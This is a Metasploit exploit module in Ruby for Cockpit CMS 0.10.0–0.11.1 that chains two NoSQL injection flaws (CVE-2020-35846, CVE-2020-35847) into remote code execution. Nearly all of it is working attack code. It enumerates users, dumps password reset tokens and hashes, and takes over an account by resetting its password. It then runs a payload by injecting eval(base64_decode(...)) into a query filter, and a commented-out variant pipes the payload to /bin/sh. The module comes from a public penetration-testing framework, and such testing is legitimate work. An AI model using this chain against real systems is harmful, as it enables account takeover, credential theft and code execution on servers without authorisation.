##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Auxiliary::Report

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Cockpit CMS NoSQLi to RCE',
        'Description' => %q{
          This module exploits two NoSQLi vulnerabilities to retrieve the user list,
          and password reset tokens from the system.  Next, the USER is targetted to
          reset their password.
          Then a command injection vulnerability is used to execute the payload.
          While it is possible to upload a payload and execute it, the command injection
          provides a no disk write method which is more stealthy.
          Cockpit CMS 0.10.0 - 0.11.1, inclusive, contain all the necessary vulnerabilities
          for exploitation.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'h00die', # msf module
          'Nikita Petrov' # original PoC, analysis
        ],
        'References' => [
          [ 'URL', 'https://swarm.ptsecurity.com/rce-cockpit-cms/' ],
          [ 'CVE', '2020-35847' ], # reset token extraction
          [ 'CVE', '2020-35846' ], # user name extraction
        ],
        'Platform' => ['php'],
        'Arch' => ARCH_PHP,
        'Privileged' => false,
        'Targets' => [
          [ 'Automatic Target', {}]
        ],
        'DefaultOptions' => {
          'PrependFork' => true
        },
        'DisclosureDate' => '2021-04-13',
        'DefaultTarget' => 0,
        'Notes' => {
          # ACCOUNT_LOCKOUTS due to reset of user password
          'SideEffects' => [ ACCOUNT_LOCKOUTS, IOC_IN_LOGS ],
          'Reliability' => [ REPEATABLE_SESSION ],
          'Stability' => [ CRASH_SERVICE_DOWN ]
        }
      )
    )

    register_options(
      [
        Opt::RPORT(80),
        OptString.new('TARGETURI', [ true, 'The URI of Cockpit', '/']),
        OptBool.new('ENUM_USERS', [false, 'Enumerate users', true]),
        OptString.new('USER', [false, 'User account to take over', ''])
      ], self.class
    )
  end

  def get_users(check: false)
    print_status('Attempting Username Enumeration (CVE-2020-35846)')
    res = send_request_raw(
      'uri' => '/auth/requestreset',
      'method' => 'POST',
      'ctype' => 'application/json',
      'data' => JSON.generate({ 'user' => { '$func' => 'var_dump' } })
    )

    fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to the web service") unless res

    # return bool of if not vulnerable
    # https://github.com/agentejo/cockpit/blob/0.11.2/lib/MongoLite/Database.php#L432
    if check
      return (res.body.include?('Function should be callable') ||
        # https://github.com/agentejo/cockpit/blob/0.12.0/lib/MongoLite/Database.php#L466
        res.body.include?('Condition not valid') ||
        res.body.scan(/string\(\d{1,2}\)\s*"([\w-]+)"/).flatten == [])
    end

    res.body.scan(/string\(\d{1,2}\)\s*"([\w-]+)"/).flatten
  end

  def get_reset_tokens
    print_status('Obtaining reset tokens (CVE-2020-35847)')
    res = send_request_raw(
      'uri' => '/auth/resetpassword',
      'method' => 'POST',
      'ctype' => 'application/json',
      'data' => JSON.generate({ 'token' => { '$func' => 'var_dump' } })
    )

    fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to the web service") unless res

    res.body.scan(/string\(\d{1,2}\)\s*"([\w-]+)"/).flatten
  end

  def get_user_info(token)
    print_status('Obtaining user info')
    res = send_request_raw(
      'uri' => '/auth/newpassword',
      'method' => 'POST',
      'ctype' => 'application/json',
      'data' => JSON.generate({ 'token' => token })
    )

    fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to the web service") unless res

    /this.user\s+=([^;]+);/ =~ res.body
    userdata = JSON.parse(Regexp.last_match(1))
    userdata.each do |k, v|
      print_status("  #{k}: #{v}")
    end
    report_cred(
      username: userdata['user'],
      password: userdata['password'],
      private_type: :nonreplayable_hash
    )
    userdata
  end

  def reset_password(token, user)
    password = Rex::Text.rand_password
    print_good("Changing password to #{password}")
    res = send_request_raw(
      'uri' => '/auth/resetpassword',
      'method' => 'POST',
      'ctype' => 'application/json',
      'data' => JSON.generate({ 'token' => token, 'password' => password })
    )

    fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to the web service") unless res

    # loop through found results
    body = JSON.parse(res.body)
    print_good('Password update successful') if body['success']
    report_cred(
      username: user,
      password: password,
      private_type: :password
    )
    password
  end

  def report_cred(opts)
    service_data = {
      address: datastore['RHOST'],
      port: datastore['RPORT'],
      service_name: 'http',
      protocol: 'tcp',
      workspace_id: myworkspace_id
    }
    credential_data = {
      origin_type: :service,
      module_fullname: fullname,
      username: opts[:username],
      private_data: opts[:password],
      private_type: opts[:private_type],
      jtr_format: Metasploit::Framework::Hashes.identify_hash(opts[:password])
    }.merge(service_data)

    login_data = {
      core: create_credential(credential_data),
      status: Metasploit::Model::Login::Status::UNTRIED,
      proof: ''
    }.merge(service_data)
    create_credential_login(login_data)
  end

  def login(un, pass)
    print_status('Attempting login')
    res = send_request_cgi(
      'uri' => '/auth/login',
      'keep_cookies' => true
    )
    login_cookie = res.get_cookies

    fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to the web service") unless res
    fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to the web service") unless /csfr\s+:\s+"([^"]+)"/ =~ res.body

    res = send_request_cgi(
      'uri' => '/auth/check',
      'method' => 'POST',
      'keep_cookies' => true,
      'ctype' => 'application/json',
      'data' => JSON.generate({ 'auth' => { 'user' => un, 'password' => pass }, 'csfr' => Regexp.last_match(1) })
    )

    fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to the web service") unless res
    fail_with(Failure::UnexpectedReply, "#{peer} - Login failed. This is unexpected...") if res.body.include?('"success":false')
    print_good("Valid cookie for #{un}: #{login_cookie}")
  end

  def gen_token(user)
    print_status('Attempting to generate tokens')
    res = send_request_raw(
      'uri' => '/auth/requestreset',
      'method' => 'POST',
      'keep_cookies' => true,
      'ctype' => 'application/json',
      'data' => JSON.generate({ user: user })
    )
    fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to the web service") unless res
  end

  def rce
    print_status('Attempting RCE')
    p = Rex::Text.encode_base64(payload.encoded)
    send_request_cgi(
      'uri' => '/accounts/find',
      'method' => 'POST',
      'keep_cookies' => true,
      'ctype' => 'application/json',
      # this is more similar to how the original POC worked, however even with the & and prepend fork
      # it was locking the website (php/db_conn?) and throwing 504 or 408 errors from nginx until the session
      # was killed when using an arch => cmd type payload.
      # 'data'     => "{\"options\":{\"filter\":{\"' + die(`echo '#{p}' | base64 -d | /bin/sh&`) + '\":0}}}"
      # with this method most pages still seem to load, logins work, but the password reset will not respond
      # however, everything else seems to work ok
      'data' => "{\"options\":{\"filter\":{\"' + eval(base64_decode('#{p}')) + '\":0}}}"
    )
  end

  def check
    begin
      return Exploit::CheckCode::Appears unless get_users(check: true)
    rescue ::Rex::ConnectionError
      fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
    end
    Exploit::CheckCode::Safe
  end

  def exploit
    if datastore['ENUM_USERS']
      users = get_users
      print_good("  Found users: #{users}")
    end

    fail_with(Failure::BadConfig, "#{peer} - User to exploit required") if datastore['user'] == ''

    tokens = get_reset_tokens
    # post exploitation sometimes things get wonky, but doing a password recovery seems to fix it.
    if tokens == []
      gen_token(datastore['USER'])
      tokens = get_reset_tokens
    end
    print_good("  Found tokens: #{tokens}")
    good_token = ''
    tokens.each do |token|
      print_status("Checking token: #{token}")
      userdata = get_user_info(token)
      if userdata['user'] == datastore['USER']
        good_token = token
        break
      end
    end
    fail_with(Failure::UnexpectedReply, "#{peer} - Unable to get valid password reset token for user. Double check user") if good_token == ''
    password = reset_password(good_token, datastore['USER'])
    login(datastore['USER'], password)
    rce
  end
end
